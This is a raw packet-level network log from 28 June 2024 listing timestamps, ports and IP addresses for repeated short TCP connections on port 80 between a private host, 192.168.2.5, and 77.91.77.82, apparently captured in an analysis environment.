Jun 28, 2024 13:37:06.708461046 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.713114023 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:06.713180065 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.713301897 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:06.713385105 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.713531017 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.718301058 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.626590967 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.627913952 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.628618002 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.629137993 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.629230022 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.633547068 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.846540928 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.848004103 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.957972050 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.958250999 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.963212013 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.963334084 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:07.963447094 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.963447094 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.963551998 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:07.969346046 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:08.636971951 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:08.637056112 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.637677908 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.642587900 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:08.852714062 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:08.852792025 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.958040953 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.958329916 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.963140965 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:08.963238001 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.963337898 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.968338966 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:08.968400955 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:08.968544006 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:09.712565899 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:09.712641954 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:09.713306904 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.019875050 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.084813118 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.084913969 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.085067034 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.085112095 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.089546919 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.089652061 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.301548004 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.301632881 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.411153078 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.411402941 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.416430950 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.416523933 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.416687965 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.416903019 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:10.416970015 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:10.421602011 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:11.114520073 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:11.114603043 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.115274906 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.120270967 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:11.501043081 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:11.501128912 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.615859032 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.616113901 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.620944023 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:11.621036053 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.621118069 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:11.621196032 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.621277094 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:11.625987053 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:12.294445038 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:12.294532061 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.295160055 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.299953938 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:12.508908033 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:12.508961916 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.614149094 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.614480972 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.819760084 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:12.819828033 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:12.819853067 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.819881916 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.820014000 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:12.824718952 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:13.496257067 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:13.496346951 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:13.496949911 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:13.502614021 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:13.710227013 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:13.710283041 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:13.817333937 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:13.817641973 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:14.162769079 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:14.162889004 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:14.163038969 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:14.163049936 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:14.163096905 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:14.437113047 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:14.437278986 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:14.437395096 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:14.442991972 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:15.120867014 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:15.121200085 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.121949911 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.127964020 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:15.339662075 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:15.339874983 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.457823038 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.458156109 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.464404106 CEST	80	49768	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:15.464474916 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.464565992 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.464720964 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:15.464776993 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:15.469451904 CEST	80	49768	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:16.160012960 CEST	80	49768	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:16.160238981 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.160933018 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.165920973 CEST	80	49768	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:16.380527020 CEST	80	49768	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:16.380640030 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.490950108 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.491244078 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.496117115 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:16.496195078 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.496331930 CEST	80	49768	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:16.496386051 CEST	49768	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.496436119 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:16.501296997 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:17.751351118 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:17.751446009 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:17.752623081 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:17.752690077 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:17.755326033 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:17.760211945 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:17.971632957 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:17.971791029 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.090322018 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.090862036 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.095462084 CEST	80	49769	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:18.095530033 CEST	49769	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.095601082 CEST	80	49770	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:18.095670938 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.095860004 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.100594044 CEST	80	49770	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:18.764816999 CEST	80	49770	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:18.766066074 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.766835928 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:18.771704912 CEST	80	49770	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:18.979804039 CEST	80	49770	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:18.979989052 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.085987091 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.086410999 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.091779947 CEST	80	49770	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:19.091821909 CEST	80	49771	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:19.091861010 CEST	49770	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.091908932 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.092152119 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.098119974 CEST	80	49771	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:19.758903027 CEST	80	49771	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:19.758984089 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.762103081 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:19.766961098 CEST	80	49771	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:19.973608971 CEST	80	49771	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:19.973718882 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.083524942 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.083950043 CEST	49773	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.088754892 CEST	80	49771	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.088767052 CEST	80	49773	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.088845968 CEST	49771	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.088895082 CEST	49773	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.089062929 CEST	49773	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.094104052 CEST	80	49773	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.774816036 CEST	80	49773	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.774883986 CEST	49773	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.778724909 CEST	49773	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.779160976 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.783932924 CEST	80	49773	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.783983946 CEST	80	49774	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.783998966 CEST	49773	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.784053087 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.784328938 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:20.787018061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:37:20.789129972 CEST	80	49774	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:20.792288065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:37:20.792341948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:37:21.691319942 CEST	80	49774	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:21.691389084 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.693439007 CEST	80	49774	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:21.693506956 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.804428101 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.804687023 CEST	49775	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.809938908 CEST	80	49775	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:21.810060024 CEST	49775	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.810235023 CEST	80	49774	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:21.810237885 CEST	49775	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.810364008 CEST	49774	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:21.815031052 CEST	80	49775	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:22.605453014 CEST	80	49775	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:22.605516911 CEST	49775	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:22.608339071 CEST	49775	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:22.608690977 CEST	49776	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:22.620170116 CEST	80	49776	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:22.620253086 CEST	49776	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:22.620462894 CEST	49776	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:22.623312950 CEST	80	49775	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:22.623367071 CEST	49775	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:22.625605106 CEST	80	49776	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:23.300189972 CEST	80	49776	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:23.300471067 CEST	49776	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:23.414072037 CEST	49776	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:23.414455891 CEST	49777	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:23.419272900 CEST	80	49777	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:23.419337034 CEST	49777	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:23.419392109 CEST	80	49776	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:23.419467926 CEST	49776	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:23.419646025 CEST	49777	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:23.424664021 CEST	80	49777	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.088876963 CEST	80	49777	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.088944912 CEST	49777	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.092295885 CEST	49777	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.092590094 CEST	49778	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.097362995 CEST	80	49778	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.097434044 CEST	49778	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.097553015 CEST	49778	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.097714901 CEST	80	49777	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.097785950 CEST	49777	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.102339983 CEST	80	49778	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.796447039 CEST	80	49778	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.797909021 CEST	49778	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.917768955 CEST	49778	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.918117046 CEST	49779	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.922900915 CEST	80	49779	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.923065901 CEST	80	49778	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:24.923175097 CEST	49778	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.923252106 CEST	49779	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.923506021 CEST	49779	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:24.928245068 CEST	80	49779	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:25.619122982 CEST	80	49779	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:25.619256020 CEST	49779	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:25.649626017 CEST	49779	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:25.650013924 CEST	49780	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:25.654727936 CEST	80	49779	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:25.654792070 CEST	80	49780	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:25.654819965 CEST	49779	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:25.654886961 CEST	49780	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:25.655209064 CEST	49780	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:25.659936905 CEST	80	49780	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:26.329070091 CEST	80	49780	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:26.329144955 CEST	49780	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:26.445350885 CEST	49780	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:26.445785999 CEST	49781	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:26.450572968 CEST	80	49780	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:26.450632095 CEST	80	49781	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:26.450691938 CEST	49780	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:26.450778961 CEST	49781	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:26.451008081 CEST	49781	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:26.455739975 CEST	80	49781	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.124392033 CEST	80	49781	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.128036022 CEST	49781	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.131357908 CEST	49781	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.131773949 CEST	49782	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.136879921 CEST	80	49782	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.137051105 CEST	49782	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.137300968 CEST	80	49781	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.137382030 CEST	49781	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.137717009 CEST	49782	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.142518997 CEST	80	49782	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.826411009 CEST	80	49782	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.826524973 CEST	49782	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.954879999 CEST	49782	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.955607891 CEST	49783	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.960450888 CEST	80	49783	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.960551977 CEST	80	49782	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:27.960633993 CEST	49782	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.960640907 CEST	49783	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.961062908 CEST	49783	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:27.965801954 CEST	80	49783	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:28.637860060 CEST	80	49783	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:28.638117075 CEST	49783	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.640963078 CEST	49783	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.641571045 CEST	49784	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.646568060 CEST	80	49783	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:28.646595955 CEST	80	49784	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:28.646612883 CEST	49783	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.646657944 CEST	49784	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.757611990 CEST	49785	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.762537956 CEST	80	49785	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:28.763911963 CEST	49785	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.764020920 CEST	49785	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:28.768886089 CEST	80	49785	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:29.451200008 CEST	80	49785	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:29.451261997 CEST	49785	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:29.457031965 CEST	49785	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:29.457278967 CEST	49786	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:29.462224007 CEST	80	49786	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:29.462289095 CEST	49786	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:29.462444067 CEST	80	49785	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:29.462491989 CEST	49785	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:29.463139057 CEST	49786	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:29.467888117 CEST	80	49786	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.154032946 CEST	80	49786	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.154100895 CEST	49786	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.273507118 CEST	49786	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.273952961 CEST	49787	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.278671980 CEST	80	49786	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.278896093 CEST	80	49787	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.279061079 CEST	49787	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.279064894 CEST	49786	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.279356003 CEST	49787	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.284241915 CEST	80	49787	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.953986883 CEST	80	49787	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.954241991 CEST	49787	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.958583117 CEST	49787	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.959084034 CEST	49788	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.963974953 CEST	80	49788	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.964107037 CEST	49788	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.964330912 CEST	49788	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.964509010 CEST	80	49787	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:30.964576960 CEST	49787	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:30.969125032 CEST	80	49788	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:31.633697033 CEST	80	49788	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:31.633789062 CEST	49788	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:31.741966009 CEST	49788	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:31.742378950 CEST	49789	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:31.747190952 CEST	80	49788	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:31.747210979 CEST	80	49789	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:31.747267008 CEST	49788	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:31.747308016 CEST	49789	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:31.747504950 CEST	49789	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:31.752305984 CEST	80	49789	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:32.416840076 CEST	80	49789	77.91.77.82	192.168.2.5
